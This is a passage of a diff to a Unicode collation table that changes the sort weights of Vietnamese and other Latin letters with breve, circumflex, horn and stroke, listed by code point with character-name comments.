COMBINING BREVE -0115 ; [.1CAA.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER E WITH BREVE -0114 ; [.1CAA.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER E WITH BREVE -012D ; [.1D32.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER I WITH BREVE -012C ; [.1D32.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER I WITH BREVE -014F ; [.1DDD.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER O WITH BREVE -014E ; [.1DDD.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER O WITH BREVE -016D ; [.1EB5.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER U WITH BREVE -016C ; [.1EB5.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER U WITH BREVE -0103 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE -0061 0306 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE -0102 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE -0041 0306 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE -1EB1 ; [.1C48.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE -1EB0 ; [.1C48.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE -1EAF ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH BREVE AND ACUTE -1EAE ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE -1EB5 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH BREVE AND TILDE -1EB4 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE -1EB3 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE -1EB2 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE -1EB7 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW -1EB6 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW -00E2 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -0061 0302 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -00C2 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -0041 0302 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -1EA7 ; [.1C49.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE -1EA6 ; [.1C49.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE -1EA5 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE -1EA4 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE -1EAB ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE -1EAA ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE -1EA9 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -1EA8 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -1EAD ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW -1EAC ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW -0111 ; [.1C90.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C90.0020.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C90.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C90.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE -00EA ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC1 ; [.1CAB.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAB.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -1EBF ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -1EC5 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -00F4 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -01A1 ; [.1DDF.0020.0002] # LATIN SMALL LETTER O WITH HORN -006F 031B ; [.1DDF.0020.0002] # LATIN SMALL LETTER O WITH HORN -01A0 ; [.1DDF.0020.0008] # LATIN CAPITAL LETTER O WITH HORN -004F 031B ; [.1DDF.0020.0008] # LATIN CAPITAL LETTER O WITH HORN -1EDD ; [.1DDF.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE -1EDC ; [.1DDF.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE -1EDB ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH HORN AND ACUTE -1EDA ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE -1EE1 ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH HORN AND TILDE -1EE0 ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH HORN AND TILDE -1EDF ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE -1EDE ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE -1EE3 ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW -1EE2 ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW -01B0 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH HORN -0075 031B ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH HORN -01AF ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH HORN -0055 031B ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH HORN -1EEB ; [.1EB6.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE -1EEA ; [.1EB6.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE -1EE9 ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH HORN AND ACUTE -1EE8 ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE -1EEF ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH HORN AND TILDE -1EEE ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH HORN AND TILDE -1EED ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE -1EEC ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE -1EF1 ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW -1EF0 ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW -1EA1 0306 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -1EA0 0306 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -1EA1 0302 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -1EA0 0302 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -1EB9 0302 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -1EB8 0302 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -1ECD 0302 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -1ECC 0302 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -00F2 031B ; [.1DDF.0020.0002][.0000.0025.0002] # -1ECF 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # -00F5 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # -00F3 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -1ECD 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -00D2 031B ; [.1DDF.0020.0008][.0000.0025.0002] # -1ECE 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # -00D5 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # -00D3 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -1ECC 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -00F9 031B ; [.1EB6.0020.0002][.0000.0025.0002] # -1EE7 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # -0169 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # -00FA 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -1EE5 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -00D9 031B ; [.1EB6.0020.0008][.0000.0025.0002] # -1EE6 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # -0168 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # -00DA 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -1EE4 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -0061 0323 0306 ; [.1C48.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -0041 0323 0306 ; [.1C48.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -0061 0323 0302 ; [.1C49.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -0041 0323 0302 ; [.1C49.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -0065 0323 0302 ; [.1CAB.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -0045 0323 0302 ; [.1CAB.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -006F 0323 0302 ; [.1DDE.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -004F 0323 0302 ; [.1DDE.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -006F 0300 031B ; [.1DDF.0020.0002][.0000.0025.0002] # -006F 0340 031B ; [.1DDF.0020.0002][.0000.0025.0002] # -006F 0309 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F0.0000] # -006F 0303 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F1.0000] # -006F 0301 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -006F 0341 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -006F 0323 031B ; [.1DDF.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -004F 0300 031B ; [.1DDF.0020.0008][.0000.0025.0002] # -004F 0340 031B ; [.1DDF.0020.0008][.0000.0025.0002] # -004F 0309 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F0.0000] # -004F 0303 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F1.0000] # -004F 0301 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -004F 0341 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -004F 0323 031B ; [.1DDF.0020.0008][.0000.0026.0002][.0000.00F3.0000] # -0075 0300 031B ; [.1EB6.0020.0002][.0000.0025.0002] # -0075 0340 031B ; [.1EB6.0020.0002][.0000.0025.0002] # -0075 0309 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F0.0000] # -0075 0303 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F1.0000] # -0075 0301 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -0075 0341 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F2.0000] # -0075 0323 031B ; [.1EB6.0020.0002][.0000.0026.0002][.0000.00F3.0000] # -0055 0300 031B ; [.1EB6.0020.0008][.0000.0025.0002] # -0055 0340 031B ; [.1EB6.0020.0008][.0000.0025.0002] # -0055 0309 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F0.0000] # -0055 0303 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F1.0000] # -0055 0301 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -0055 0341 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F2.0000] # -0055 0323 031B ; [.1EB6.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +0115 ; [.1C25.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER E WITH BREVE +0114 ; [.1C25.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER E WITH BREVE +012D ; [.1CAD.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER I WITH BREVE +012C ; [.1CAD.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER I WITH BREVE +014F ; [.1D58.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER O WITH BREVE +014E ; [.1D58.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER O WITH BREVE +016D ; [.1E30.0020.0002][.0000.0026.0002][.0000.00F4.0000] # LATIN SMALL LETTER U WITH BREVE +016C ; [.1E30.0020.0008][.0000.0026.0002][.0000.00F4.0000] # LATIN CAPITAL LETTER U WITH BREVE +0103 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE +0061 0306 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE +0102 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE +0041 0306 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE +1EB1 ; [.1BC3.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE +1EB0 ; [.1BC3.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE +1EAF ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH BREVE AND ACUTE +1EAE ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE +1EB5 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH BREVE AND TILDE +1EB4 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE +1EB3 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE +1EB2 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE +1EB7 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW +1EB6 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW +00E2 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +0061 0302 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +00C2 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +0041 0302 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +1EA7 ; [.1BC4.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE +1EA6 ; [.1BC4.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE +1EA5 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE +1EA4 ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE +1EAB ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE +1EAA ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE +1EA9 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +1EA8 ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +1EAD ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW +1EAC ; [.1BC4.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW +0111 ; [.1C0B.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0B.0020.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE +00EA ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +0065 0302 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX +00CA ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +0045 0302 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX +1EC1 ; [.1C26.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE +1EC0 ; [.1C26.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE +1EBF ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE +1EBE ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE +1EC5 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE +1EC4 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE +1EC3 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC2 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE +1EC7 ; [.1C26.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW +1EC6 ; [.1C26.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW +00F4 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1D59.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +01A1 ; [.1D5A.0020.0002] # LATIN SMALL LETTER O WITH HORN +006F 031B ; [.1D5A.0020.0002] # LATIN SMALL LETTER O WITH HORN +01A0 ; [.1D5A.0020.0008] # LATIN CAPITAL LETTER O WITH HORN +004F 031B ; [.1D5A.0020.0008] # LATIN CAPITAL LETTER O WITH HORN +1EDD ; [.1D5A.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE +1EDC ; [.1D5A.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE +1EDB ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER O WITH HORN AND ACUTE +1EDA ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE +1EE1 ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER O WITH HORN AND TILDE +1EE0 ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER O WITH HORN AND TILDE +1EDF ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE +1EDE ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE +1EE3 ; [.1D5A.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW +1EE2 ; [.1D5A.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW +01B0 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH HORN +0075 031B ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH HORN +01AF ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH HORN +0055 031B ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH HORN +1EEB ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE +1EEA ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE +1EE9 ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F2.0000] # LATIN SMALL LETTER U WITH HORN AND ACUTE +1EE8 ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F2.0000] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE +1EEF ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F1.0000] # LATIN SMALL LETTER U WITH HORN AND TILDE +1EEE ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F1.0000] # LATIN CAPITAL LETTER U WITH HORN AND TILDE +1EED ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F0.0000] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE +1EEC ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F0.0000] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE +1EF1 ; [.1E31.0020.0002][.0000.0026.0002][.0000.00F3.0000] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW +1EF0 ; [.1E31.0020.0008][.0000.0026.0002][.0000.00F3.0000] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW +1EA1 0306 ; [.1BC3.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +1EA0 0306 ; [.1BC3.0020.0008][.0000.0026.0002][.0000.00F3.0000] # +1EA1 0302 ; [.1BC4.0020.0002][.0000.0026.0002][.0000.00F3.0000] # +1EA0 0302 